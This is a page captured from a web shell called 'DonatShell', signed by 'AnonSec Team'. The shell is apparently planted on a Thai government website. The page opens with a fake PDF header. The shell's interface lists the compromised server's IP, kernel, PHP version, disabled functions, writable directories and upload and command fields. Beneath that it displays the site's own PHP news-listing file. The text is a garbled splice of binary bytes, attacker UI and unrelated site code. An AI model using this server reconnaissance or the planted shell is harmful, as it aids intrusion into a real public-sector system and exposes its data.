%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/news/show_news.php
<?php //require_once('../admin/Connections/conndb.php'); ?>
<?php
//mysql_select_db($database_conndb, $conndb);
$query_rsNews5 = "SELECT * FROM news_detail  where cat_id = '1' ORDER BY  d_date DESC  limit 0,5";
$rsNews5 = mysql_query($query_rsNews5, $conndb) or die(mysql_error());
$row_rsNews5 = mysql_fetch_assoc($rsNews5);
$totalRows_rsNews5 = mysql_num_rows($rsNews5);

?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css">
<link href="../styles.css" rel="stylesheet" type="text/css" />
<style>
.news-card{
    width:500px;
    margin:15px auto;
    background:#fff;
    border-radius:14px;
    overflow:hidden;
    box-shadow:0 8px 20px rgba(0,0,0,.12);
    transition:.3s;
}

.news-card:hover{
    transform:translateY(-4px);
    box-shadow:0 15px 35px rgba(0,0,0,.18);
}

.news-card a{
    display:flex;
    align-items:center;
    text-decoration:none;
    color:#222;
    padding:12px;
}

.news-image{
    width:170px;
    height:120px;
    flex-shrink:0;
    border-radius:10px;
    overflow:hidden;
    background:#f3f3f3;
}

.news-image img{
    width:100%;
    height:100%;
    object-fit:cover;
    display:block;
    transition:.35s;
}

.news-card:hover .news-image img{
    transform:scale(1.08);
}

.news-body{
    flex:1;
    padding-left:15px;
}

.news-body h3{
    margin:0;
    font-size:17px;
    line-height:1.5;
}

.news-body p{
    margin:0;
    font-size:15px;
    line-height:1.6;
}

.news-footer{
    margin-top:12px;
    display:flex;
    justify-content:space-between;
    font-size:13px;
    color:#777;
}

.news-footer i{
    color:#0d6efd;
    margin-right:4px;
}

/* ÃͧÃѺÁ×Ͷ×Í */
@media (max-width:600px){

.news-card{
    width:95%;
}

.news-card a{
    flex-direction:column;
}

.news-image{
    width:100%;
    height:220px;
    margin-bottom:12px;
}

.news-body{
    padding-left:0;
}

.news-footer{
    flex-direction:column;
    align-items:flex-start;
    gap:6px;
}

}
</style>
  
<?php
$date = substr($row_rsNews5['d_date'],0,10);

list($yy,$mm,$dd) = explode("-",$date);

$thai_month = array(
    "01"=>"Á.¤.",
    "02"=>"¡.¾.",
    "03"=>"ÁÕ.¤.",
    "04"=>"àÁ.Â.",
    "05"=>"¾.¤.",
    "06"=>"ÁÔ.Â.",
    "07"=>"¡.¤.",
    "08"=>"Ê.¤.",
    "09"=>"¡.Â.",
    "10"=>"µ.¤.",
    "11"=>"¾.Â.",
    "12"=>"¸.¤."
);

$showDate = intval($dd)." ".$thai_month[$mm]." ".($yy+543);
?>

  <?php if ($totalRows_rsNews5 > 0) { ?>

<?php do { ?>

<div class="news-card">

    <a href="detail.php?id=<?php echo $row_rsNews5['id']; ?>">

        <div class="news-image">

            <?php
            $pic = trim($row_rsNews5['pic']);

            if ($pic == "" || !file_exists("news/photo/".$pic)) {
            ?>
            <img src="../images/1logo.png"  alt=""/>
<?php } else { ?>
                <img src="news/photo/<?php echo $pic; ?>" alt="">
            <?php } ?>

        </div>

        <div class="news-body">

         
    <h5>            <?php
                $topic = strip_tags($row_rsNews5['name']);

                if (strlen($topic) > 50) {
                    $topic = substr($topic, 0, 50)." ...";
                }

                echo $topic;
                ?>
 </h5>

            <div class="news-footer">

                <span class="news-date">
                    <i class="fa fa-calendar"></i>
                    <?php
                    $date = substr($row_rsNews5['d_date'],0,10);
                    list($yy,$mm,$dd)=explode("-",$date);

                    $thai_month=array(
                        "01"=>"Á.¤.","02"=>"¡.¾.","03"=>"ÁÕ.¤.","04"=>"àÁ.Â.",
                        "05"=>"¾.¤.","06"=>"ÁÔ.Â.","07"=>"¡.¤.","08"=>"Ê.¤.",
                        "09"=>"¡.Â.","10"=>"µ.¤.","11"=>"¾.Â.","12"=>"¸.¤."
                    );

                    echo intval($dd)." ".$thai_month[$mm]." ".($yy+543);
                    ?>
                </span>

                <span class="news-view">
                    <i class="fa fa-eye"></i>
                    <?php echo number_format($row_rsNews5['click']); ?> ¤ÃÑé§
                </span>

            </div>

        </div>

    </a>

</div>

<?php } while ($row_rsNews5 = mysql_fetch_assoc($rsNews5)); ?>

<?php } ?>

Anon7 - 2022
AnonSec Team